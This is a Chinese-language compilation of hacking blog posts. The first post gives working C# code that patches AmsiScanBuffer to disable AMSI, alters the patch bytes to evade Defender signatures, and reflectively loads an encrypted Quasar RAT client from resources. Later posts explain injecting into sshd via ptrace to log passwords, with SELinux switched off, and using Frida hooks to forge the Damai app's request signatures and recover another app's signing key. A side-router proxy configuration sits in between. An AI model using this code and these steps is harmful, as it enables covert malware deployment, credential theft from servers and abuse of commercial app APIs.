使用C#动态加载与ASMI Bypass绕过Windows Defender

1. 什么是C#的动态加载

C#允许使用Assembly动态加载DLL/EXE等可执行文件，并且可以调用其中指定的函数，写法如下

Assembly assem = Assembly.Load(payload);
MethodInfo main = assem.EntryPoint;
main.Invoke(null, new string[] { null });

其中加载支持从文件或从内存加载，分别有如下实现

为了防止文件落地，我们一般只使用内存加载，因为如果你的payload被杀，也无法通过文件进行加载，如果使用内存加载，我们就可以先对Payload进行一定的混淆加密，这样在运行之前都不会被查杀

2. 什么是ASMI与如何Bypass

ASMI实际是程序在运行的时候会被注入一个asmi.dll,该文件会对程序运行时进行动态查杀，并且会查杀之后返回一个ASMI_RESULT,这里result里面存储了查杀的结果。
如果我要进行bypass，只需要hook这个result，让其返回一个正常结果即可实现绕过ASMI的检测。
github上有现成的实现，直接拿来用即可
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs
核心部分如下

public class Amsi
{
    // https://twitter.com/_xpn_/status/1170852932650262530
    static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

    public static void Bypass()
    {
        if (is64Bit())
            PatchAmsi(x64);
        else
            PatchAmsi(x86);
    }

    private static void PatchAmsi(byte[] patch)
    {
        try
        {
            var lib = Win32.LoadLibrary("amsi.dll");
            var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }
}

但是因为该库可能使用的人比较多，导致该dll会被查杀，我们只需要修改

static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

把其中的数组顺序改一下，然后在输入的时候还原回去即可
少做修改如下

    public static void PatchNew()
    {
        byte[] patch = new byte[8];
        patch[0]= 0xB8;
        patch[1] = 0x57;
        patch[2] = 0x00;
        patch[3] = 0x07;
        patch[4] = 0x80;
        patch[5] = 0xC2;
        patch[6] = 0x18;
        patch[7] = 0x00;
        //0xB8, , , , , , , 

        try
        {
            var lib = Win32.LoadLibrary("amsi.dll");
            var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }

3. 用起来

首先把ASMIBypass编译出来，最后会生成一个DLL文件，我们新建一个C#的项目工程，可以直接引用这个dll文件，也可以通过我们前面说的动态调用进行执行，我这里对这个DLL进行了简单的混淆，并且把它加到资源文件中，最后通过动态调用他执行Bypass。

其中调用ASMIBypass部分代码如下

    public static void LoadBypassDll()
        {
            Assembly assembly = Assembly.GetExecutingAssembly();
            Assembly myAssem = Assembly.GetEntryAssembly();

            string asb = Resource1.ASBBypass_dll;
            string result = Dencrypt(asb);

            byte[] payload = Convert.FromBase64String(result);
            Assembly assem = Assembly.Load(payload);
            var theType = assem.GetType("HelloWord");
            var c = Activator.CreateInstance(theType);
            var method = theType.GetMethod("PatchNew");
            method.Invoke(c, null);
        }    

然后把我们的马也进行混淆加密，同样放入资源文件
我这里用的Quasar-1.3.0.0生成的客户端

然后动态调用其入口函数

    public static void LoadShellCode()
    {
            string result = Resource1.install2_exe;
            result = Dencrypt(result);
            byte[] payload = Convert.FromBase64String(result);
            Assembly assem = Assembly.Load(payload);
            MethodInfo main = assem.EntryPoint;
            main.Invoke(null, new string[] { null });
    }

剩下我们只需要在程序运行的时候先调用Bypass，在运行我们的马即可

namespace ASMIbypassM
{

    class Program
    {
        static void Main(string[] args)
        {
            Bypass.LoadBypassDll();
            Bypass.LoadShellCode();
        }
    }
}

最后运行毫无压力

SuperRouter 自建旁路由

1. 什么是旁路由

主路由即是我们的网关路由器，负责网络数据的处理与传输，旁路由一般是一个单网卡设备，上级也是我们的网关路由器，我们可以在该设备上开启tcp转发等设置，然后把电脑或其他设备的网关地址改成该旁路由的地址，达到所有流量先通过该设备进行处理，然后在发送到网关路由器。
如果我们在旁路由上对特定的流量进行处理即可实现XX效果。

2. 运行原理

其中先在旁路由设备上开启proxy Client链接到远程的proxy Server，并在本地开启socks5代理,然后在使用ipt2socks把普通的socks5代理转换成iptable支持的透明代理
其中proxy Sever使用的是kcpTun+socks5(不支持udp)，然后针对不同的内网IP进行指定不同的代理,如果针对不同的远程IP进行分流，则可以使用ipset进行增加规则，在通过iptable的match进行匹配。

3. 配置

1. 开启远程代理

这里使用的是我自己修改的kcptun，内置了socks5代理，执行运行

nohup ./kcp_server &

默认会监听29900(udp)端口，作为kcp的通讯端口，监听127.0.0.1:12489(tcp)作为本地s5，
客户端运行

nohup ./kcp_server -r remote_addr:29900 -l 127.0.0.1:65000 > /dev/null &

这样就会把远程的12498的s5转发到本地的65000(tcp)上
测试是否成功可使用

curl ipinfo.io -x socks5://127.0.0.1:65000

查看是否可以正常访问，若没问题则代表代理链接成功。

2. 开启本地透明代理

使用开源项目 ipt2socks

nohup ipt2socks -s 127.0.0.1:65000 -p 55000 -l 0.0.0.0 -R > /dev/null &

即可实现把本地的65000上的s5转化成监听在0.0.0.0:55000(tcp)上的透明代理

3. 配置iptables指定设备走代理上网

首先需要忽略掉本地IP的访问，否则会导致本地网络无法访问到旁路由设备

...
    private $ips=array(
                    "10.10.0.0/16",
                    "10.0.0.0/8",
                    "169.254.0.0/16",
                    "172.16.0.0/12",
                    "192.168.0.0./16",
                    "127.0.0.1/32",
                    "224.0.0.0/4",
                    "240.0.0.0/4"
                );
...
    public function runIPTABLE(){
        //先通过ulimit 设置可同时打开的文件句柄数量，并清空之前的iptable的nat记录
        $cmd="ulimit -n 65535;iptables -t nat -F;";
        system($cmd);
        foreach($this->ips as $ip){
            $cmd="iptables -t nat -I PREROUTING -d {$ip} -j RETURN;";
            system($cmd);
        }
        
    }

在设定指定IP走55000这个透明代理

iptables -t nat -A PREROUTING -p tcp -s 192.168.1.100 -j REDIRECT --to-ports 55000

这里的192.168.1.100为需要通过代理上网的内网客户机IP
到这里，所有192.168.1.100的所有出口流量都会被转发到本地55000进行处理，也就是会走之前配置的proxy Sever

4. 使用DOH

因为该代理只代理了tcp流量，所以我们DNS解析实际还是可以被干扰，这里我们使用cloudflare提供的DOH服务器和起dns转发工具

cloudflared proxy-dns --address 0.0.0.0 > /dev/null &

5.国内外流量分流

如果需要国内流量不通过该proxy进行转发，那么我们需要绕过所有的国内ip

    public function ipset_china(){
        $check='ipset -N china hash:net';
        $data=shell_exec($check);
        if(stripos($data,'already')!==false) return;
        // 通过ipset设置一个分组，并把所有中国的IP倒入进去
        $cmd=array(
            'ipset destroy china',
            'ipset -N china hash:net',
            'rm temp/cn.zone',
            'wget -O temp/cn.zone http://www.ipdeny.com/ipblocks/data/countries/cn.zone',
            'for i in $(cat ./temp/cn.zone ); do ipset -A china $i; done',
        );
        foreach($cmd as $c){
            system($c);
        }
    }
    
    public function connect_nochina($iptPort,$clientIp){
        $this->disconnect($clientIp);
        $this->ipset_china();
        $cmd=array(
        // 绕过国内IP
            "iptables -t nat -A PREROUTING -p tcp -s {$clientIp} -m set --match-set china dst -j RETURN", 
            
            "iptables -t nat -A PREROUTING -p tcp -s {$clientIp} -j REDIRECT --to-ports {$iptPort}"
        );
        foreach($cmd as $c){
            system($c);
        }

    }

6. 使用

现在只需要把客户机的ip分配改为手动，最后把网关写成该旁路由设备的ip地址，并把dns也改成该设备的IP即可。

3. 自动化

机遇上面的基础上，我们可以打造一套自己的流量转发系统
在该基础下也写了Frp的Gui管理
最终实现结果如下：

7. 依赖

cloudflared DOH客户端
ipt2socks socks5转透明代理工具
kcpTun加速协议
go-socks5 服务端
frp端口转发神器

无需重新编译OpenSSH,通过ptrace注入记录SSHD密码

本来想自己研究一下然后写一个，在查资料的时候发现别人已经研究写出了成型的demo，原文可以查看
https://blog.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/
国内缓存：https://buaq.net/go-25514.html
工具链接：https://github.com/xpn/ssh-inject

原文就不翻译了，说一下用法和几个需要修改地方
他的逻辑大概是先通过hook libdl.so实现注入一个so文件到sshd里面，然后在通过这个so去hook auth_password实现密码记录。

首先需要先查看当前机器的sshd的libdl版本，

ps aux|grep sshd #获取pid

查看其调用的libdl版本

修改ssh-inject/inject.c中的libdl部分代码

...
void *libdlAddr = NULL;

    libdlAddr = dlopen("libdl-2.19.so", RTLD_LAZY);
    ....
    remoteLib = findLibrary("libdl-2.19", atoi(argv[1]));
   ...
    ...
    localLib = findLibrary("libdl-2.19", -1); //

...

把这三个位置的libdl-2.19改成之前查看出来的libdl-2.17即可
然后临时关闭SElinux，否则会导致注入失败

setenforce 0 #临时关闭SELinux
./run.sh 23189 #sshd的pid

记录到的密码默认写到tmp目录下

先抓包获得提交订单的请求如下

可以看到签名的参数在header里面，名字叫做x-sign，jadx搜索一下

然后在接着搜索X_SIGN
然后根据名字猜测到在这个位置

函数如下

public String getSign(HashMap<String, String> params, String appKey) {
        String str;
        UnsupportedEncodingException e;
        SecException e2;
        String str2 = "";
        String str3 = (String) mo28972a((Map<String, String>) params, appKey).get("INPUT");
        try {
            if (this.f13463e == null || StringUtils.isBlank(str3)) {
                TBSdkLog.m3641e("mtopsdk.InnerSignImpl", mo44553c() + " [getSign]middleTier null or data data ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode);
                return "";
            }
            HashMap hashMap = new HashMap();
            hashMap.put("data", str3.getBytes("UTF-8"));
            hashMap.put("env", Integer.valueOf(m13472d()));
            hashMap.put("appkey", appKey);
            HashMap sign = this.f13463e.getSign(hashMap);
            if (sign == null || sign.isEmpty()) {
                TBSdkLog.m3641e("mtopsdk.InnerSignImpl", mo44553c() + " [getSign]get sign failed with no output ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode);
                return "";
            }
            str = (String) sign.remove(HttpHeaderConstant.X_SIGN);
            try {
                if (!StringUtils.isNotBlank(str)) {
                    return str;
                }
                params.putAll(sign);
                return str;
            } catch (UnsupportedEncodingException e3) {
                e = e3;
                TBSdkLog.m3642e("mtopsdk.InnerSignImpl", mo44553c() + " [getSign]your input data transfer to byte utf-8 failed ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, e);
                return str;
            } catch (SecException e4) {
                e2 = e4;
                TBSdkLog.m3643e("mtopsdk.InnerSignImpl", mo44553c() + " [getSign]get sign failed and SecException errorCode " + e2.getErrorCode() + ",appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, (Throwable) e2);
                return str;
            }
        } catch (UnsupportedEncodingException e5) {
            UnsupportedEncodingException unsupportedEncodingException = e5;
            str = str2;
            e = unsupportedEncodingException;
            TBSdkLog.m3642e("mtopsdk.InnerSignImpl", mo44553c() + " [getSign]your input data transfer to byte utf-8 failed ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, e);
            return str;
        } catch (SecException e6) {
            SecException secException = e6;
            str = str2;
            e2 = secException;
            TBSdkLog.m3643e("mtopsdk.InnerSignImpl", mo44553c() + " [getSign]get sign failed and SecException errorCode " + e2.getErrorCode() + ",appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, (Throwable) e2);
            return str;
        }
    }

不用去关心他到底怎么计算签名，直接写一段hook看一下是否用的这个函数进行签名

    setTimeout(function() {
    Java.perform(function() {


        var HttpRequestEntity = Java.use('mtopsdk.security.b'); //要hook的类名完整路径
        // var func = new HttpRequestEntity();
        // func.signature('1', '13123', false);
        HttpRequestEntity.getSign.implementation = function(arg1, arg2) { // 重写要hook的方法getSign，当有多个重名函数时需要重载，function括号为函数的参数个数

            var Sign = this.getSign(arg1, arg2); //调用原始的函数实现并且获得返回值，如果不写的话我们下面的代码会全部替换原函数

            send("arg1:" + arg1); //打印参数值
            send("arg2:" + arg2);


            send("result:" + Sign); //打印返回值

            return Sign; //函数有返回值时需要返回
        };

    })

});

➜  x frida-ps -U |grep damai
16738  cn.damai
17005  cn.damai:channel
➜  x frida -l damai.js -U -f cn.damai --no-pause
     ____
    / _  |   Frida 12.7.22 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Spawned `cn.damai`. Resuming main thread!
message: {'type': 'send', 'payload': 'arg1:{data={"itemId":"613369982548","scenario":"itemsku","channel_from":"damai_market","bizCode":"ali.china.damai","appType":"1","osType":"2","exParams":"{}","source":"10101","version":"6000076"}, lng=118.818906, utdid=XCquBhVOGfwDAMHCRzpMcJHX, ttid=10005890@damai_android_7.7.2, deviceId=Auw_p33fvcb-qYhQnFUd4IAw1zJfUPYAfdVSWlF8OCH7, sid=149c5f8c17bf88a759f4ec5ebc6ae27a, uid=2206462755405, x-features=27, t=1584889999, v=2.0, appKey=23781390, api=mtop.alibaba.detail.subpage.getdetail, lat=32.107127}'} data: None
message: {'type': 'send', 'payload': 'arg2:23781390'} data: None
message: {'type': 'send', 'payload': 'result:ab25b000902a1cb73174adb1f6ffd602c2b885dd8e6efbc4ec'} data: None

看参数基本就是这个函数了，我们再把之前抓包抓到的参数拿去签名然后对比一下结果是否一样校验一下
在看一下sign的这个类，其实还有一个init初始化函数

   public void init(@NonNull MtopConfig mtopConfig) {
        super.init(mtopConfig);
        String c = mo44553c();
        try {
            SignStatistics.m23759a(mtopConfig.uploadStats);
            long currentTimeMillis = System.currentTimeMillis();
            this.f13461c = SecurityGuardManager.getInstance(this.f23497a.context);
            m13470a(StringUtils.isEmpty(mtopConfig.appKey) ? m13468a(mtopConfig.appKeyIndex, mo44552b()) : mtopConfig.appKey, mo44552b());
            MtopSDKThreadPoolExecutorFactory.submit(new InnerSignImpl$1(this, this.f23497a.context, c));
            m13471a(mtopConfig);
            if (TBSdkLog.isLogEnable(LogEnable.InfoEnable)) {
                TBSdkLog.m3644i("mtopsdk.InnerSignImpl", c + " [init]ISign init SecurityGuard succeed.init time=" + (System.currentTimeMillis() - currentTimeMillis));
            }
        } catch (SecException e) {
            int errorCode = e.getErrorCode();
            SignStatistics.m23758a(SignStatsType.TYPE_SG_MANAGER, String.valueOf(errorCode), "");
            TBSdkLog.m3643e("mtopsdk.InnerSignImpl", c + " [init]ISign init SecurityGuard error.errorCode=" + errorCode, (Throwable) e);
        } catch (Exception e2) {
            TBSdkLog.m3643e("mtopsdk.InnerSignImpl", c + " [init]ISign init SecurityGuard error.", (Throwable) e2);
        }
    }

我们在写一个hook看一下传进来的参数是什么

setTimeout(function() {
    Java.perform(function() {


        var HttpRequestEntity = Java.use('mtopsdk.security.b'); //要hook的类名完整路径
        // var func = new HttpRequestEntity();
        // func.signature('1', '13123', false);
        HttpRequestEntity.init.implementation = function(arg1) { // 重写要hook的方法getSign，当有多个重名函数时需要重载，function括号为函数的参数个数

            var Sign = this.init(arg1); //调用原始的函数实现并且获得返回值，如果不写的话我们下面的代码会全部替换原函数

            send("arg1:" + arg1); //打印参数值
            //mtopsdk.mtop.global.MtopConfig


            send("result:" + Sign); //打印返回值

            return Sign; //函数有返回值时需要返回
        };

    })

});

执行结果如下

➜  x frida -l init.js -U -f cn.damai --no-pause
     ____
    / _  |   Frida 12.7.22 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Spawned `cn.damai`. Resuming main thread!
[Samsung SM-G9550::cn.damai]-> message: {'type': 'send', 'payload': 'arg1:mtopsdk.mtop.global.MtopConfig@c1b5599'} data: None

可以看到传进来的是mtopsdk.mtop.global.MtopConfig这么一个类，那么我们来看一下这个类
这个类初始化的时候也有一个参数

  public MtopConfig(String instanceId2) {
        this.instanceId = instanceId2;
    }

再写一个hook看一下

setTimeout(function() {
    Java.perform(function() {


        var HttpRequestEntity = Java.use('mtopsdk.mtop.global.MtopConfig'); //要hook的类名完整路径
        // var func = new HttpRequestEntity();
        // func.signature('1', '13123', false);
        HttpRequestEntity.$init.implementation = function(arg1) { // 重写要hook的方法getSign，当有多个重名函数时需要重载，function括号为函数的参数个数

            var Sign = this.$init(arg1); //调用原始的函数实现并且获得返回值，如果不写的话我们下面的代码会全部替换原函数

            send("arg1:" + arg1); //打印参数值
            //mtopsdk.mtop.global.MtopConfig


            send("result:" + Sign); //打印返回值

            return Sign; //函数有返回值时需要返回
        };

    })

});

结果如下

➜  x frida -l config.js -U -f cn.damai --no-pause
     ____
    / _  |   Frida 12.7.22 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Spawned `cn.damai`. Resuming main thread!
[Samsung SM-G9550::cn.damai]-> message: {'type': 'send', 'payload': 'arg1:INNER'} data: None
message: {'type': 'send', 'payload': 'result:undefined'} data: None
message: {'type': 'send', 'payload': 'arg1:OPEN'} data: None
message: {'type': 'send', 'payload': 'result:undefined'} data: None
message: {'type': 'send', 'payload': 'arg1:INNER'} data: None
message: {'type': 'send', 'payload': 'result:undefined'} data: None
message: {'type': 'send', 'payload': 'arg1:OPEN'} data: None

可以看到要么是OPEN，要么是INNER，那么就非常明了了，我们写一个脚本把参数带进去签名一下对比一下结果
这是原始参数

message: {'type': 'send', 'payload': 'arg1:{data={"itemId":"613369982548","scenario":"itemsku","channel_from":"damai_market","bizCode":"ali.china.damai","appType":"1","osType":"2","exParams":"{}","source":"10101","version":"6000076"}, lng=118.818906, utdid=XCquBhVOGfwDAMHCRzpMcJHX, ttid=10005890@damai_android_7.7.2, deviceId=Auw_p33fvcb-qYhQnFUd4IAw1zJfUPYAfdVSWlF8OCH7, sid=149c5f8c17bf88a759f4ec5ebc6ae27a, uid=2206462755405, x-features=27, t=1584889999, v=2.0, appKey=23781390, api=mtop.alibaba.detail.subpage.getdetail, lat=32.107127}'} data: None
message: {'type': 'send', 'payload': 'arg2:23781390'} data: None
message: {'type': 'send', 'payload': 'result:ab25b000902a1cb73174adb1f6ffd602c2b885dd8e6efbc4ec'} data: None

脚本如下

import frida, sys
from urllib import parse
from time import sleep

def on_message(message, data):
    global result
    result=message
    print('----------------------------------------------------------------')
    print(message,data)
        
jscode = """
function sign(args) {
    Java.perform(function () {
        var HashMap = Java.use('java.util.HashMap');
        var hm = HashMap.$new();
        var hm1=HashMap.$new();

        var config = Java.use('mtopsdk.mtop.global.MtopConfig');
        var mconfig=config.$new("INNER");
        console.log(args)
        hm1.put("buyNow","true");
        hm1.put("exParams",args);
        hm1.put("buyParam","613369982548_1_4314464576860")

        hm.put("data",args);
        hm.put("lng","118.818906");
        hm.put("utdid","XCquBhVOGfwDAMHCRzpMcJHX");
        hm.put("ttid","10005890@damai_android_7.7.2")
        hm.put("deviceId","Auw_p33fvcb-qYhQnFUd4IAw1zJfUPYAfdVSWlF8OCH7")
        hm.put("sid","149c5f8c17bf88a759f4ec5ebc6ae27a")
        hm.put("uid","2206462755405")
        hm.put("x-features","27")
        hm.put("t","1584889999")
        hm.put("v","2.0")
        hm.put("appKey","23781390")
        hm.put("api","mtop.alibaba.detail.subpage.getdetail")
        hm.put("lat","32.107127")
        console.log(hm)
        var HttpRequestEntity = Java.use('mtopsdk.security.b');
        var func = HttpRequestEntity.$new()
        func.init(mconfig);
        var result = func.getSign(hm,"23781390")
        send("sign:" + result);
        return result;
    })
}
function onMessage(pokeMessage) {
    sign(pokeMessage['line']);
    recv('sign', onMessage);
}
recv('sign', onMessage);
"""
process = frida.get_usb_device().attach('cn.damai')
result=[]
script = process.create_script(jscode)
script.on('message', on_message)
script.load()
# params='''{"buyNow":"true","exParams":"{\"umpChannel\":\"10001\",\"coupon\":\"true\",\"websiteLanguage\":\"zh_CN_#Hans\",\"channel\":\"damai_app\",\"atomSplit\":\"1\",\"seatInfo\":\"\",\"coVersion\":\"2.0\"}","buyParam":"613369982548_1_4314464576860"}'''
params='''{"buyNow":"true","exParams":"{\\"umpChannel\\":\\"10001\\",\\"coupon\\":\\"true\\",\\"websiteLanguage\\":\\"zh_CN_#Hans\\",\\"channel\\":\\"damai_app\\",\\"atomSplit\\":\\"1\\",\\"seatInfo\\":\\"\\",\\"coVersion\":\\"2.0\\"}","buyParam":"613369982548_1_4314464576860"}'''
# params='''"{\\"umpChannel\\":\\"10001\\",\\"coupon\\":\\"true\\",\\"websiteLanguage\\":\\"zh_CN_#Hans\\",\\"channel\\":\\"damai_app\\",\\"atomSplit\\":\\"1\\",\\"seatInfo\\":\\"\\",\\"coVersion\":\\"2.0\\"}"'''
# print(params)
params ='''{"itemId":"613369982548","scenario":"itemsku","channel_from":"damai_market","bizCode":"ali.china.damai","appType":"1","osType":"2","exParams":"{}","source":"10101","version":"6000076"}'''
script.post({"type": "sign",'line':params})

'''
lng = 118.818534, utdid = XCquBhVOGfwDAMHCRzpMcJHX, 
ttid = 10005890 @damai_android_7 .7 .2, 
deviceId = Auw_p33fvcb - qYhQnFUd4IAw1zJfUPYAfdVSWlF8OCH7, 
sid = 149 c5f8c17bf88a759f4ec5ebc6ae27a, 
uid = 2206462755405, x - features = 27, t = 1584888568, v = 4.0, appKey = 23781390, 
api = mtop.trade.order.build, lat = 32.106986
'''
while True:
    if result!=[]:
        print(result)
        print('over')
        break
    sleep(1)

'''
message: {'type': 'send', 'payload': 'arg1:{data={"itemId":"613369982548","scenario":"itemsku","channel_from":"damai_market","bizCode":"ali.china.damai","appType":"1","osType":"2","exParams":"{}","source":"10101","version":"6000076"}
, lng=118.818906,
 utdid=XCquBhVOGfwDAMHCRzpMcJHX, ttid=10005890@damai_android_7.7.2, deviceId=Auw_p33fvcb-qYhQnFUd4IAw1zJfUPYAfdVSWlF8OCH7, 
 sid=149c5f8c17bf88a759f4ec5ebc6ae27a, uid=2206462755405, x-features=27, t=1584889999, v=2.0, appKey=23781390, api=mtop.alibaba.detail.subpage.getdetail, lat=32.107127}'} data: None
message: {'type': 'send', 'payload': 'arg2:23781390'} data: None
message: {'type': 'send', 'payload': 'result:ab25b000902a1cb73174adb1f6ffd602c2b885dd8e6efbc4ec'} data: None
'''

最新结果如下

➜  x python3 test.py
{"itemId":"613369982548","scenario":"itemsku","channel_from":"damai_market","bizCode":"ali.china.damai","appType":"1","osType":"2","exParams":"{}","source":"10101","version":"6000076"}
{data={"itemId":"613369982548","scenario":"itemsku","channel_from":"damai_market","bizCode":"ali.china.damai","appType":"1","osType":"2","exParams":"{}","source":"10101","version":"6000076"}, lng=118.818906, utdid=XCquBhVOGfwDAMHCRzpMcJHX, ttid=10005890@damai_android_7.7.2, deviceId=Auw_p33fvcb-qYhQnFUd4IAw1zJfUPYAfdVSWlF8OCH7, sid=149c5f8c17bf88a759f4ec5ebc6ae27a, uid=2206462755405, x-features=27, t=1584889999, v=2.0, appKey=23781390, api=mtop.alibaba.detail.subpage.getdetail, lat=32.107127}
----------------------------------------------------------------
{'type': 'send', 'payload': 'sign:ab25b000902a1cb73174adb1f6ffd602c2b885dd8e6efbc4ec'} None
{'type': 'send', 'payload': 'sign:ab25b000902a1cb73174adb1f6ffd602c2b885dd8e6efbc4ec'}
over
➜  x

对比一下之前的签名，一模一样，证明找对地方了

下面还需要解决x-mini-wua与wua
其实和sign都在同一个类里面，按照上面的方法在进行hook即可，

public String getWua(HashMap<String, String> params, String appKey) {
        String str;
        UnsupportedEncodingException e;
        SecException e2;
        String str2 = "";
        String str3 = (String) params.get("sign");
        try {
            if (this.f13463e == null || StringUtils.isBlank(str3)) {
                TBSdkLog.m3641e("mtopsdk.InnerSignImpl", mo44553c() + " [getWua]middleTier null or data data ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode);
                return "";
            }
            HashMap hashMap = new HashMap();
            hashMap.put("data", str3.getBytes("UTF-8"));
            hashMap.put("env", Integer.valueOf(m13472d()));
            HashMap wua = this.f13463e.getWua(hashMap);
            if (wua == null || wua.isEmpty()) {
                TBSdkLog.m3641e("mtopsdk.InnerSignImpl", mo44553c() + " [getWua]get wua failed with no output ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode);
                return "";
            }
            str = (String) wua.remove(ApiConstants.WUA);
            try {
                if (!StringUtils.isNotBlank(str)) {
                    return str;
                }
                params.putAll(wua);
                return str;
            } catch (UnsupportedEncodingException e3) {
                e = e3;
                TBSdkLog.m3642e("mtopsdk.InnerSignImpl", mo44553c() + " [getWua]your input data transfer to byte utf-8 failed ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, e);
                return str;
            } catch (SecException e4) {
                e2 = e4;
                TBSdkLog.m3643e("mtopsdk.InnerSignImpl", mo44553c() + " [getWua]get wua failed and SecException errorCode " + e2.getErrorCode() + ",appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, (Throwable) e2);
                return str;
            }
        } catch (UnsupportedEncodingException e5) {
            UnsupportedEncodingException unsupportedEncodingException = e5;
            str = str2;
            e = unsupportedEncodingException;
            TBSdkLog.m3642e("mtopsdk.InnerSignImpl", mo44553c() + " [getWua]your input data transfer to byte utf-8 failed ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, e);
            return str;
        } catch (SecException e6) {
            SecException secException = e6;
            str = str2;
            e2 = secException;
            TBSdkLog.m3643e("mtopsdk.InnerSignImpl", mo44553c() + " [getWua]get wua failed and SecException errorCode " + e2.getErrorCode() + ",appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, (Throwable) e2);
            return str;
        }
    }

    public String getMiniWua(HashMap<String, String> params, HashMap<String, String> ext) {
        String str;
        SecException e;
        String str2 = "";
        try {
            if (this.f13463e == null) {
                TBSdkLog.m3641e("mtopsdk.InnerSignImpl", mo44553c() + " [getMiniWua]middleTier ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode);
                return "";
            }
            HashMap hashMap = new HashMap();
            hashMap.put("env", Integer.valueOf(m13472d()));
            if (ext == null) {
                ext = new HashMap<>();
            }
            ext.put(C3934e.f8409i, params.get("api"));
            hashMap.put("extend_paras", ext);
            HashMap miniWua = this.f13463e.getMiniWua(hashMap);
            if (miniWua == null || miniWua.isEmpty()) {
                TBSdkLog.m3641e("mtopsdk.InnerSignImpl", mo44553c() + " [getMiniWua]get miniwua failed with no output ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode);
                return "";
            }
            str = (String) miniWua.remove("x-miniwua");
            try {
                if (!StringUtils.isNotBlank(str)) {
                    return str;
                }
                params.putAll(miniWua);
                return str;
            } catch (SecException e2) {
                e = e2;
                TBSdkLog.m3643e("mtopsdk.InnerSignImpl", mo44553c() + " [getMiniWua]get miniwua failed and SecException errorCode " + e.getErrorCode() + ",appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, (Throwable) e);
                return str;
            }
        } catch (SecException e3) {
            SecException secException = e3;
            str = str2;
            e = secException;
            TBSdkLog.m3643e("mtopsdk.InnerSignImpl", mo44553c() + " [getMiniWua]get miniwua failed and SecException errorCode " + e.getErrorCode() + ",appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, (Throwable) e);
            return str;
        }
    }

一次失败的签名算法逆向过程

某电商App
首先抓包看到请求如下（magisk+edxposed+trustmealready屏蔽ssl验证）

直接jadx打开apk搜索functionId关键字

先定位到了第三个函数

public final String mo15331a(JSONObject jSONObject, String str) { //json对象
        try {
            String b = mo15238b();
            TreeMap treeMap = new TreeMap(new Comparator<String>() {
                /* renamed from: a */
                public int compare(String str, String str2) {
                    return str.compareTo(str2);
                }
            });
            if (jSONObject != null) {
                Iterator keys = jSONObject.keys();
                while (keys.hasNext()) {
                    String str2 = (String) keys.next();
                    if (!TextUtils.isEmpty(jSONObject.optString(str2))) {
                        treeMap.put(str2, jSONObject.optString(str2)); //遍历json对象
                    }
                }
            }
            if (!TextUtils.isEmpty(str)) {
                treeMap.put(JshopConst.JSKEY_JSBODY, str); //加入body
            }
            if (!TextUtils.isEmpty(b)) {
                treeMap.put("functionId", b);
            }
            StringBuilder sb = new StringBuilder();
            for (Entry value : treeMap.entrySet()) {
                sb.append((String) value.getValue()).append("&"); //拼接数据 k=v&
            }
            if (sb.toString().endsWith("&")) { //删除最后一个&
                sb.setLength(sb.length() - 1);
            }
            String c = MantoCryptoUtils.m4776c(C2656c.m2509a() + "7D6D16CC3D2BE89108F9DCFC9A855253", "616E746F"); //获取key C2656c.m2509a() = 2AA64BD44C4381F31D9DA68EFE377874
            MantoLog.m4788d("sign  ", "secretKey --->  " + c); // 02ad4470d1a24880b6d3aca1988694bf
            MantoLog.m4788d("sign  ", "data --->  " + sb); //需要签名的数据
